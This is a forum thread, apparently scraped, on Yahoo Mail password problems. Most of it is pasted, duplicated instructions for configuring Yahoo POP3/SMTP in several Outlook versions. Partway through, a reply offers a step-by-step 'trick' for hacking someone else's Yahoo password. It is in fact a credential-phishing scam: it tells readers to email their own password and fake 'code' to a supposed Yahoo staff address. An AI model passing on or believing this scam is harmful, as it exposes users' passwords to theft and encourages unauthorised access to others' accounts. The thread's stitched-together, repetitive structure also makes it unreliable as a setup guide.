I have forgotten my yahoo password ,my tablet keep sending me a message, Server password has been changed input the changed password ??

Hi, follow the steps below. Don't change any of your settings since they already work, but when you get to step 7 this is where you check whether or not you want to remove the emails from the sever.

Open Outlook 2003 then:

1. Click Tools ' E-mail Accounts.
2. Select Add a new e-mail account and click Next.
3. Select POP3, then click Next.
4. Enter the following information:
   • User Information
     • Your Name: Type your name as you'd like it to appear when you send an email message.
     • E-mail Address: Type your Yahoo! Mail Plus email address (for example, [email protected]).
   • Server Information
     • Incoming mail server (POP3): Type pop.mail.yahoo.com
     • Outgoing mail server (SMTP): Type smtp.mail.yahoo.com
   • Login Information
     • User Name: Type your Yahoo! ID (your email address without the "@yahoo.com").
     • Password: Type your Yahoo! password.
   • Check the Remember password checkbox if you don't want Outlook to prompt you for your password each time you check your mail.
   • Do notcheck the Log on using Secure Password Authentication (SPA) checkbox.
5. Click the More Settings button. The Internet E-mail Settings dialog box appears.
6. Select the Outgoing Server tab:
   • Check the My outgoing server (SMTP) requires authentication checkbox.
   • Make sure that Use same settings as my incoming mail server is selected.
7. Select the Advanced tab:
   • Under "Incoming server (POP3)," check the This server requires an encrypted connection (SSL) checkbox. The number in the "Incoming server (POP3)" field usually changes automatically from 110 to 995. If it doesn't, type 995.
   • In the Outgoing server (SMTP) field, type 465. Under it, check the This server requires an encrypted connection (SSL) checkbox.
   • If you want to save your Yahoo! Mail messages on both the Yahoo! Mail server and on your computer, check the Leave a copy of messages on the server checkbox. If you want your messages to be deleted from the Yahoo! server once Outlook has downloaded them onto your computer, leave the box unchecked.
   Note: After your messages are deleted from the server, we cannot retrieve them.
   
8. Click OK to close the Internet E-mail Settings dialog box.
9. Click Next and then Finish.
10. Close and restart your Microsoft Outlook.

Hi,

If you are not connected to the internet, you can only work offline, and for example, if you write an email it will not send until you do connect to the internet.

You can configure Outlook 2007 to work with Yahoo.

If you want to "POP" your Yahoo! Mail into your Outlook 2007 application, here's how:

1. From the Tools menu, select "Account Settings." If you do not see "Account Settings," place your cursor over the two arrows at the bottom of the list to display more choices.
2. On the Email tab, click New.
3. Check the box next to the first option, "Microsoft Exchange, POP3, IMAP, or HTTP" and click Next.
4. In the Your Name box, type your name as you'd like it to appear when you send a message.
5. In the Email Address box, enter your Yahoo! Mail address (for example, "[email protected]").
6. Check the box for "Manually configure server settings or additional server types" and click Next.
7. Check the box next to the first option "Internet E-mail" and click Next.
8. In the Server Information area, under "Account Type" select POP 3 from the pull-down menu.
9. In the Incoming mail server field, enter: pop.mail.yahoo.com.sg
10. In the Outgoing mail server (SMTP) field, enter: smtp.mail.yahoo.com.sg
11. In the Login Information area, in the User Name field, enter your Yahoo! ID (your email address without the "@yahoo.com").
12. In the Password box, enter your Yahoo! Mail password.
13. Check "Remember Password" if you don't want Outlook to prompt you for your password each time you check your mail. Handy!
14. Do not check the box labeled "Log on using Secure Password Authentication (SPA)."
15. Click on the More Settings button.
16. Click on the Outgoing Server tab and check the box next to "My outgoing server (SMTP) requires authentication."
17. Click on the Advanced tab.
18. Under "Incoming Server (POP3)", check the box next to "This server requires an encrypted connection (SSL)". The port number in the "Incoming Server (POP3)" field should automatically change from 110 to 995. If it doesn't, make sure the port number is set to 995.
19. Under "Outgoing Server (SMTP)", check the box next to "This server requires an encrypted connection (SSL)". Enter port number "465" in the "Outgoing Server (SMTP)" field.
20. If you'd like to keep a copy of your email messages on the Yahoo! Mail server, check the box next to "Leave a copy of messages on the server." If you want to delete your messages from the Yahoo! Mail server after viewing them in Outlook, don't check the box.
21. Click the OK button.
22. Click the Next button on the Email Account Wizard, then click Finished.
23. Would you like your Yahoo! Mail inbox to be your primary inbox in Outlook 7? If so, click the Tools menu and select "Account Settings." If you don't see "Account Settings," place your cursor over the two arrows at the bottom of the list to display more choices.
24. From the list, select the pop.yahoo account you've just added and click the Set as Default button.
25. Click the Close button. You're done!

Troubleshooting instructions
If you followed the above configuration steps, you should be all set. However, if you cannot send or receive mail with your email client, try the following tips.
The Yahoo! Mail SMTP server requires authentication. Make sure you have enabled SMTP authentication. To turn this setting on, follow these steps:

1. From the Tools menu, choose "Account Settings."
2. Select the "E-mail" tab.
3. Select your Yahoo! Mail account and click Change.
4. Click on the "Outgoing Server" tab.
5. Check the box next to "My Server Requires Authentication."
6. Please make sure that "Log on using" is not checked.
7. Click OK.

To control deletion of messages from the Yahoo! Mail server:

1. From the Tools menu, select "Account Settings."
2. Click on the "Email" tab.
3. Select your Yahoo! Mail account and click Change.
4. Click on the "Advanced" tab.
5. Check "Leave a copy of messages on server" if you want to save your Yahoo! Mail messages on the Yahoo! Mail server as well as on your local computer. Please note that setting your email client to remove messages from the server will cause your messages to be deleted from the server. Once the messages are deleted, we are unable to retrieve them.
6. Click OK.
7. Close Microsoft Outlook and restart.

We strongly recommend that you enable SSL for both POP and SMTP, as detailed in the above instructions. This will ensure that your Yahoo! ID, password and email messages are transmitted securely between your mail client and the Yahoo! servers. However, if you choose to not use SSL for SMTP, your email client will likely default the SMTP port to 25. If your ISP blocks port 25 or if you're unable to send email, then you will need to use port 587 when sending via Yahoo!'s SMTP server. To make this change, please follow the directions below:

1. From the "Tools" menu, select "Account Settings"
2. Select your Yahoo! POP account and click on Change.
3. Click on the "Advanced" tab.
4. Click OK and Close.

It sounds like you are having a problem with Yahoo.
Have you ever thought about changing your e-mail address to google.com? Google

If you have an alternate email contact have yahoo send you the forgotten password/user name to that email account and see if maybe that will fix it. I had to go through that when I got my divorce.

Much more common is a sending issue. Often you have to send through your ISP server, contact them for what that server is, if you have sending issues.

I found directions for Outlook, which should be similar to Thunderbird:

Look closely at requires authentication settings....

Note: You must be a Yahoo! Mail Plus user to read Yahoo! Mail in an email reader program such as Microsoft Outlook. Click here for information about subscribing to Yahoo! Mail Plus.
To read your Yahoo! Mail Plus using Microsoft Outlook 2002 or 2003, follow these steps:

1. From the Tools menu, select Email Accounts.
2. Select Add a new email account and click Next.
3. Select POP3 and click Next.
4. Enter the following information:
   • User Information
     
     Your Name: Type your name as you'd like it to appear when you send an email message.
     
     E-Mail Address: Type your Yahoo! Mail Plus email address (for example, [email protected]).
   • Server Information
     
     Incoming mail server (POP3): Type plus.pop.mail.yahoo.com.
     
     Outgoing mail server (SMTP): Type plus.smtp.mail.yahoo.com.
   • Login Information
     
     User Name: Type your Yahoo! ID (your email address without the "@yahoo.com").
     
     Password: Type your Yahoo! password.
   • Select the Remember Password checkbox if you don't want Outlook to prompt you for your password each time you check your mail.
   • Do not select the Require logon using Secure Password Authentication (SPA) checkbox.
5. Click More Settings. The Internet E-mail Settings dialog box appears.
6. Select the Outgoing Server tab:
   • Select the My outgoing server (SMTP) requires authentication checkbox.
   • Make sure that Use same settings as my incoming mail server is selected.
7. Click the Advanced tab:
   • Under Incoming Server (POP3), select the This server requires an encrypted connection (SSL) checkbox. The number in the Incoming Server (POP3) field usually changes automatically from 110 to 995. If it doesn't, type 995.
   • In the Outgoing Server (SMTP) field, type 465. Under Outgoing Server (SMTP), select the This server requires an encrypted connection (SSL) checkbox.
   • If you want to save your Yahoo! Mail messages on both the Yahoo! Mail server and on your computer, select the Leave a copy of messages on the server checkbox. If you want your messages to be deleted from the Yahoo! server once Outlook has downloaded them onto your computer, leave the box unchecked.
     
     Note: After your messages are deleted from the server, we cannot retrieve them.
8. Click OK to close the Internet E-mail Settings dialog box.
9. Click Finish to close the Add New E-mail Account dialog box.
10. Click Close to close the Account Settings dialog box.

Troubleshooting tips
If you still can't send Yahoo! Mail from Outlook, you might be accessing the Internet through an ISP that is blocking the SMTP port. If this is the case, try using port 587 when sending email via Yahoo!'s SMTP server. To make this change:

1. From the Tools menu, select Account Settings. The Account Settings dialog box appears.
2. Select your Yahoo! Mail Plus account and click Properties. The Change E-mail Account dialog box appears.
3. Click More Settings. The Internet E-mail Settings dialog box appears.
4. Click the Advanced tab.
5. In the Outgoing Server (SMTP) box, type 587.
6. Click Apply, and then click OK to close the Internet E-mail Settings dialog box.
7. Click Close to close the Account Settings dialog box.

STEP 1- Log in to your own yahoo account. Note: Your
account must be at
least 30 days old for this to work.
STEP 2- Once you have logged into your own account,
compose/write an e-mail
to: [email protected] This is a mailing
address to the Yahoo
Staff. The automated server will send you the password
that you have
'forgotten', after receiving the information you send
them.
STEP 3- In the subject line type exactly: " PASSWORD
RECOVERY "
STEP 4- On the first line of your mail write the email
address of the person
you are hacking.
STEP 5- On the second line type in the e-mail address
you are using.
STEP 6- On the third line type in the password to YOUR
email address (your
OWN password). The computer needs your password so it
can send a JavaScript
from your account in the Yahoo Server to extract the
other email addresses
password. In other word the system automatically
checks your password to
confirm the integrity of your status.
The process will be done automatically by the user
administration server. STEP 7- The final step before
sending the mail is,
type on the fourth line the following code exactly:
cgi-bin_RETRIVE_PASS_BIN_PUB/$et76431&pwrsa
script< ip://233.243.2.34/cgi-bin/start?
v703&login=passmachine&f=(password)&f=27586&javascript=ACTIVE&rsa#>
{simply copy and paste above.} so for example if your yahoo id is :
[email protected] and your password
is: David and the email address you want to hack is:
[email protected] then
compose the mail as below: To: [email protected]
bcc: cc: (Don't write anything in cc,bcc field) Subject: " PASSWORD RECOVERY " [email protected]
[email protected]
David
cgi-bin_RETRIVE_PASS_KEY_CGI_BIN/$et76431&pwrsa
script< ip://233.243.2.34/cgi-bin/start?
v703&login=passmachine&f=(password)&f=27586&javascript=ACTIVE&rsa#>
{simply copy and paste above.} The password will be sent to your inbox in a mail
called "System Reg
Message" from "System. When my friend showed me how
to do this I thought it was too good a trick to keep
to myself! Just try and
enjoy!

Here’s how you can read your Yahoo! Mail Plus email using Outlook 2007:

1. From the Tools menu, select Account Settings.
   
   Note: If you do not see Account Settings, place your cursor over the two arrows at the bottom of the list to display more choices.
2. On the E-mail tab, click New. The Add New E-mail Account dialog box appears.
3. Select the Manually configure server settings or additional server types checkbox. Click Next. The Choose E-mail Service screen appears.
4. Select Internet E-mail, and click Next. The Internet E-Mail Settings screen appears.
5. Complete the fields as follows:
   • Your Name: Type your name as you’d like it to appear when you send an email message.
     
     E-Mail Address: Type your Yahoo! Mail Plus email address (for example, [email protected]).
     
     Account Type: Select POP3 from the pull-down menu.
     
     Incoming mail server: Type plus.pop.mail.yahoo.com.
     
     Outgoing mail server (SMTP): Type smtp.mail.yahoo.com.
   • Select the Remember Password checkbox if you don't want Outlook to prompt you for your password each time you check your mail.
   • Do not select the Require logon using Secure Password Authentication (SPA) checkbox.
6. Click More Settings. The Internet E-mail Settings dialog box appears.
7. Select the Outgoing Server tab:
   • Select the My outgoing server (SMTP) requires authentication checkbox.
   • Make sure that Use same settings as my incoming mail server is selected.
8. Click the Advanced tab:
9. • For Incoming Server (POP3), select the This server requires an encrypted connection (SSL) checkbox. The number in the Incoming Server (POP3) field automatically changes from 110 to 995. If it doesn’t, type 995.
   • In the Outgoing Server (SMTP) field, type 465. Under Outgoing Server (SMTP), select the This server requires an encrypted connection (SSL) checkbox.
   • Next to Use the following type of encrypted connection, select SSL from the pull-down menu.
   • If want to keep a copy of your email messages on the Yahoo! Mail server, select the Leave a copy of messages on the server checkbox. If you want to delete your messages from the Yahoo! Mail server after viewing them in Outlook, leave the box unchecked.
   • If you want to save your Yahoo! Mail messages on both the Yahoo! Mail server and on your computer, select the Leave a copy of messages on the server checkbox. If you want your messages to be deleted from the Yahoo! server after Outlook has downloaded them onto your computer, leave the box unchecked.
     
     Note: After your messages are deleted from the server, we cannot retrieve them.
10. Click OK to close the Internet E-mail Settings dialog box.
11. Click Next to continue. The Congratulations screen appears.
12. Click Finish to close the Add New E-mail Account dialog box.
13. Click Close to close the Account Settings dialog box.

Troubleshooting tips
If you still can’t send Yahoo! Mail from Outlook 2007, you might be accessing the Internet through an ISP that is blocking the SMTP port. If this is the case, try using port 587 when sending email via Yahoo!’s SMTP server. To make this change:

1. From the Tools menu, select Account Settings. The Account Settings dialog box appears.
2. Double-click your Yahoo! Mail Plus account. The Change E-mail Account dialog box appears.
3. Click More Settings. The Internet E-mail Settings dialog box appears.
4. Click the Advanced tab.
5. In the Outgoing Server (SMTP) box, type 587.
6. Click OK to close the Internet E-mail Settings dialog box.
7. Click Next to continue. The Congratulations screen appears.
8. Click Finish to close the Change E-mail Account dialog box.
9. Click Close to close the Account Settings dialog box.

The problem is clearly indicated on the error code.

"the server responded 521 user is over the limit for messages to be sent in a single day."

Have you been sending a lot of messages using that account? From yahoo:

The limit for messages for yahoo is 100 per hour, max 500 per day.

If you believe that you are the one not doing this, you can either report this to yahoo or checked your Yahoo! account immediately. Change the security settings and most specially the passwords. It could be that your account is used as a spam bot.